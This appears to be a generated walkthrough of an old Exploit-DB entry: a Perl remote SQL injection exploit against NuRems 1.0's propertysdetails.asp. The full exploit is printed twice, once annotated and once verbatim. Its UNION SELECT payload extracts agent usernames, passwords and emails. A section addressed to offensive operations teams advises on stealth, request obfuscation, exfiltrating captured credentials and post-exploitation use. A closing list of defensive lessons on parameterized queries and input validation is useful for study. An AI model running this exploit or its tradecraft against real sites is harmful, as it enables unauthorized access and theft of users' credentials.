Exploiting NuRems 1.0: A Deep Dive into SQL Injection via propertysdetails.asp

Exploiting NuRems 1.0: A Deep Dive into SQL Injection via propertysdetails.asp
What this paper is
This paper details a remote SQL injection vulnerability in NuRems 1.0, specifically targeting the propertysdetails.asp file. The exploit, coded by ajann, leverages this vulnerability to extract sensitive user information, such as usernames, passwords, and email addresses, from the application's backend database. It's a classic example of how improper input sanitization on web applications can lead to data breaches.
Simple technical breakdown
The core of the vulnerability lies in how the propertysdetails.asp page handles user-supplied input for the PropID parameter. Instead of validating or sanitizing this input, the application directly incorporates it into an SQL query.
The exploit works by sending a specially crafted PropID value. This value is not a simple property ID but a malicious SQL query fragment. This fragment uses a UNION SELECT statement. The UNION SELECT allows an attacker to combine the results of their malicious query with the results of the original, legitimate query.
In this case, the attacker crafts a UNION SELECT to retrieve specific columns (Username, password, Email) from a table named agents. The WHERE clause in the injected query then filters these results based on a provided AgentID. The script automates sending this malicious request and parsing the web server's response to extract the leaked credentials.
Complete code and payload walkthrough
The provided Perl script automates the exploitation process. Let's break down its components:
#!/usr/bin/perl
#[Script Name: NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
#[Coded by : ajann
#[Author : ajann
#[Contact : :(
use IO::Socket;#!/usr/bin/perl: This is the shebang line, indicating that the script should be executed using the Perl interpreter.#[Script Name: ... #[Contact: :(]: These are comments providing metadata about the script, including its name, author, and contact information.use IO::Socket;: This line imports theIO::Socketmodule, which is essential for creating network connections (sockets) to communicate with the target web server.
if(@ARGV < 3){
print "
[========================================================================
[// NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
[// Usage: class.pl [target] [path] [userid]
[// Example: exploit.pl victim.com / 1
[// Example: exploit.pl victim.com /path/ 1
[// Vuln&Exp : ajann
[========================================================================
";
exit();
}if(@ARGV < 3): This checks if the number of command-line arguments (@ARGV) is less than 3. The script expects three arguments: target, path, and userid.print "...": If fewer than 3 arguments are provided, this block prints a usage message explaining how to run the script and provides examples.exit();: Exits the script if the usage requirements are not met.
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "propertysdetails.asp?PropID=";
$target = "16%20union%20select%200,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20agents%20where%20AgentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;$server = $ARGV[0];: Assigns the first command-line argument (the target hostname) to the$servervariable.$server =~ s/(http:\/\/)//eg;: This uses a regular expression substitution to remove any "http://" prefix from the$servervariable, ensuring it's just the hostname.$host = "http://".$server;: Reconstructs the full URL prefix with "http://".$port = "80";: Sets the default port to 80, the standard HTTP port.$dir = $ARGV[1];: Assigns the second command-line argument (the web application's directory path) to the$dirvariable.$file = "propertysdetails.asp?PropID=";: Defines the vulnerable file and the parameter name.$target = "16%20union%20select%200,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20agents%20where%20AgentID%20like%20".$ARGV[2];: This is the core of the exploit payload. Let's break down the URL-encoded string:16: This is likely an initial value forPropIDthat the application might expect or use in its original query.%20: URL-encoded space.union%20select: This is the SQLUNION SELECTstatement, which allows combining results from twoSELECTstatements.0,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0: This part specifies the columns to be selected. The attacker is trying to extractUsername,password, andEmailfrom theagentstable. The numerous0s are placeholders to match the expected number of columns in the original query'sSELECTstatement. The original query likely selects many columns, and theUNION SELECTneeds to have the same number of columns.%20from%20agents: Specifies the table to query, which isagents.%20where%20AgentID%20like%20: This is theWHEREclause to filter the results. It usesLIKEwith the providedAgentIDargument..$ARGV[2]: Appends the third command-line argument (theAgentIDto search for) to the query.
$target = $host.$dir.$file.$target;: Concatenates all the parts to form the complete URL for the request.
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";print "+**********************************************************************+\n";: Prints a separator for better output readability.print "+ Trying to connect: $server\n";: Informs the user which server is being targeted.$socket = IO::Socket::INET->new(...) || die "\n+ Connection failed...\n";: This is where the actual network connection is established.Proto => "tcp": Specifies the TCP protocol.PeerAddr => "$server": The target IP address or hostname.PeerPort => "$port": The target port (80).|| die "\n+ Connection failed...\n";: If the socket creation fails, the script prints an error and exits.
print $socket "GET $target\n";: Sends the HTTP GET request with the crafted$targetURL.print $socket "Host: $server\n";: Sets theHostheader, which is required for HTTP/1.1.print $socket "Accept: */*\n";: Sets theAcceptheader, indicating that any content type is acceptable.print $socket "Connection: close\n\n";: Sets theConnectionheader toclose, instructing the server to close the connection after the response. The double newline signifies the end of the HTTP headers.print "+ Connected!...\n";: Confirms that the connection was made.
#Getting
while($answer = <$socket>) {
if ($answer =~ /Location:(.*?)<\/font>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}
if ($answer =~ /Address:(.*?)<\/font>/){
print "+ Password: $1\n";
}
if ($answer =~ /# Rooms:(.*?)<\/font>/){
print "+ Email: $1\n";
exit();
}
if ($answer =~ /Ad removed or not yet approved/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";
# milw0rm.com [2006-11-11]while($answer = <$socket>): This loop reads the response from the server line by line.if ($answer =~ /Location:(.*?)<\/font>/): This regular expression attempts to find a line containing "Location:" followed by some text captured in group$1until</font>. The script assumes this captured text is the username.print "+ Exploit succeed! Getting admin information.\n";: Informs the user of success.print "+ Username: $1\n";: Prints the extracted username.
if ($answer =~ /Address:(.*?)<\/font>/): Similar to the above, this looks for "Address:" and assumes the captured text is the password.print "+ Password: $1\n";: Prints the extracted password.
if ($answer =~ /# Rooms:(.*?)<\/font>/): Looks for "# Rooms:" and assumes the captured text is the email address.print "+ Email: $1\n";: Prints the extracted email.exit();: Exits the script after successfully extracting all three pieces of information.
if ($answer =~ /Ad removed or not yet approved/): This checks for a specific error message that might indicate the exploit failed or the target page didn't behave as expected.- Prints a failure message and exits.
if ($answer =~ /Internal Server Error/): Checks for a generic "Internal Server Error," which could indicate a problem with the request or the server's configuration.- Prints a failure message and exits.
}: Closes thewhileloop.print "+ Exploit failed :(\n";: If the loop finishes without finding any of the success or specific failure patterns, this generic failure message is printed.print "+**********************************************************************+\n";: Prints a final separator.# milw0rm.com [2006-11-11]: A comment indicating the source and publication date.
Mapping of code fragments to practical purpose:
#!/usr/bin/perl-> Script interpreter declaration.use IO::Socket;-> Enables network communication capabilities.if(@ARGV < 3)block -> Command-line argument validation and usage instructions.$server = $ARGV[0];-> Captures the target hostname.$server =~ s/(http:\/\/)//eg;-> Cleans up the hostname input.$host = "http://".$server;-> Constructs the base URL.$port = "80";-> Sets the target port.$dir = $ARGV[1];-> Captures the application path.$file = "propertysdetails.asp?PropID=";-> Defines the vulnerable endpoint and parameter.$target = "16%20union%20select%200,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20agents%20where%20AgentID%20like%20".$ARGV[2];-> The core SQL injection payload, designed to extract credentials.$target = $host.$dir.$file.$target;-> Assembles the full malicious URL.$socket = IO::Socket::INET->new(...)-> Establishes a TCP connection to the target.print $socket "GET $target\n";-> Sends the HTTP GET request.print $socket "Host: $server\n";-> Sets the HTTP Host header.print $socket "Connection: close\n\n";-> Signals the end of headers and requests connection closure.while($answer = <$socket>)loop -> Reads and processes the server's HTTP response.if ($answer =~ /Location:(.*?)<\/font>/)-> Parses the response for the username.if ($answer =~ /Address:(.*?)<\/font>/)-> Parses the response for the password.if ($answer =~ /# Rooms:(.*?)<\/font>/)-> Parses the response for the email.if ($answer =~ /Ad removed or not yet approved/)-> Detects a specific failure condition.if ($answer =~ /Internal Server Error/)-> Detects a generic server error.exit();-> Terminates the script.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. No prior authentication or specific user privileges are needed, as this is a remote, unauthenticated vulnerability.
- Lab Preconditions:
- A controlled network environment to test against a vulnerable NuRems 1.0 instance.
- The target application must be deployed and accessible via HTTP on port 80.
- The
propertysdetails.asppage must be present and vulnerable to SQL injection. - The
agentstable must exist in the database, and it must containUsername,password, andEmailcolumns. - The
AgentIDcolumn must be queryable and susceptible to theLIKEoperator with injected SQL. - The web server must be configured to return the extracted data within the HTML response in a parsable format (e.g., within
<font>tags as implied by the regex).
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- Basic understanding of Perl for script execution and modification.
- Network connectivity to the target.
- Execution Pitfalls:
- Incorrect Path: If the
$dirargument is wrong, the script will not reach the vulnerablepropertysdetails.aspfile. - Firewall/WAF Blocking: Network firewalls or Web Application Firewalls (WAFs) might detect and block the malicious SQL injection pattern.
- Application Logic Changes: If the NuRems 1.0 application has been patched or modified, the
UNION SELECTsyntax, table/column names, or the expected output format in the HTML response might differ, causing the exploit to fail. The number of0s in theSELECTstatement must precisely match the number of columns in the original query. - Database Schema Differences: If the
agentstable has different column names or a different structure, the exploit will fail to extract the intended data. - Encoding Issues: The exploit relies on URL encoding. If the target application handles encoding differently, the payload might not be interpreted correctly.
- Output Parsing Failures: The regex patterns (
/Location:(.*?)<\/font>/, etc.) are brittle. If the HTML output format changes even slightly (e.g., different tags, different text before the data), the script will fail to parse the credentials. - Rate Limiting: Repeated attempts might trigger rate limiting on the server.
- Incorrect Path: If the
- Tradecraft Considerations:
- Reconnaissance: Before running the exploit, thoroughly understand the target's web application structure, identify potential vulnerable pages, and confirm the presence of the
propertysdetails.aspfile. - Payload Customization: The number of
0s in theUNION SELECTstatement is crucial. It must match the number of columns returned by the original query. If the original query returns more or fewer columns, theUNION SELECTwill fail. This might require manual inspection of the application's behavior or trial-and-error to determine the correct number. - Stealth: Direct execution of this script might generate obvious network traffic. For more stealthy operations, consider integrating the payload into a more sophisticated framework or using techniques to obfuscate the request.
- Error Handling: The script's error handling is basic. In a real engagement, more robust logging and error analysis would be beneficial.
- Credential Handling: The script prints credentials to the console. In a real operation, these should be securely logged or exfiltrated.
- Post-Exploitation: Once credentials are obtained, they can be used to log into the application, potentially gaining further access or information.
- Reconnaissance: Before running the exploit, thoroughly understand the target's web application structure, identify potential vulnerable pages, and confirm the presence of the
Where this was used and when
This exploit targets NuRems 1.0, a real estate management software. The exploit paper was published on November 11, 2006, by milw0rm.com. This indicates that the vulnerability was likely active and exploited around that time. Software vulnerabilities from this era were often widespread before patches were developed and deployed. It's plausible that similar SQL injection vulnerabilities existed in other web applications of that period due to common insecure coding practices.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All data received from external sources (web forms, URL parameters, cookies, etc.) must be rigorously validated and sanitized before being used in database queries. This includes checking for expected data types, lengths, and character sets, and escaping or removing potentially malicious characters.
- Parameterized Queries (Prepared Statements): Use parameterized queries or prepared statements provided by the database API. These separate the SQL code from the data, ensuring that user-supplied data is treated purely as data and not as executable SQL commands.
- Least Privilege Principle: Ensure that the database user account used by the web application has only the minimum necessary privileges. It should not have permissions to select from sensitive tables like
agentsif it's not directly required for its function, nor should it have administrative privileges. - Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns like SQL injection. However, WAFs are a layer of defense, not a complete solution, and can be bypassed.
- Regular Patching and Updates: Keep all software, including web applications, frameworks, and underlying operating systems and databases, up to date with the latest security patches.
- Secure Coding Practices Training: Ensure developers are trained in secure coding practices and understand common vulnerabilities like SQL injection.
- Database Error Handling: Configure the web application to avoid displaying detailed database error messages to end-users, as these can provide valuable information to attackers. Log errors server-side for debugging.
- Security Audits and Penetration Testing: Regularly conduct security audits and penetration tests to identify and remediate vulnerabilities before they can be exploited.
ASCII visual (if applicable)
This exploit is a direct request-response interaction. An ASCII visual might overcomplicate it, but a simplified flow could be:
+-----------------+ +---------------------+ +-----------------+
| Attacker's | ----> | Target Web Server | ----> | Database Server |
| Machine (Perl) | | (NuRems 1.0) | | |
+-----------------+ +---------------------+ +-----------------+
^ |
| | (HTTP Request with Malicious SQL)
| v
| +---------------------+
| | propertysdetails.asp|
| | (Vulnerable Page) |
| +---------------------+
| |
| | (SQL Query Construction)
| v
| +---------------------+
| | Original Query + |
| | UNION SELECT ... |
| +---------------------+
| |
| | (Returns Data)
| v
| +---------------------+
| | Parsed HTML Response|
| | (Username, Pass, Email)|
| +---------------------+
| ^
+-----------------------+ (Response Parsed by Perl Script)Source references
- Paper ID: 2755
- Paper Title: NuRems 1.0 - 'propertysdetails.asp' SQL Injection
- Author: ajann
- Published: 2006-11-11
- Keywords: ASP, webapps
- Paper URL: https://www.exploit-db.com/papers/2755
- Raw URL: https://www.exploit-db.com/raw/2755
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#[Script Name: NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
#[Coded by : ajann
#[Author : ajann
#[Contact : :(
use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[// NuRems 1.0 (propertysdetails.asp) Remote SQL Injection Exploit
[// Usage: class.pl [target] [path] [userid]
[// Example: exploit.pl victim.com / 1
[// Example: exploit.pl victim.com /path/ 1
[// Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "propertysdetails.asp?PropID=";
$target = "16%20union%20select%200,Username,password,Email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20agents%20where%20AgentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /Location:(.*?)<\/font>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}
if ($answer =~ /Address:(.*?)<\/font>/){
print "+ Password: $1\n";
}
if ($answer =~ /# Rooms:(.*?)<\/font>/){
print "+ Email: $1\n";
exit();
}
if ($answer =~ /Ad removed or not yet approved/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";
# milw0rm.com [2006-11-11]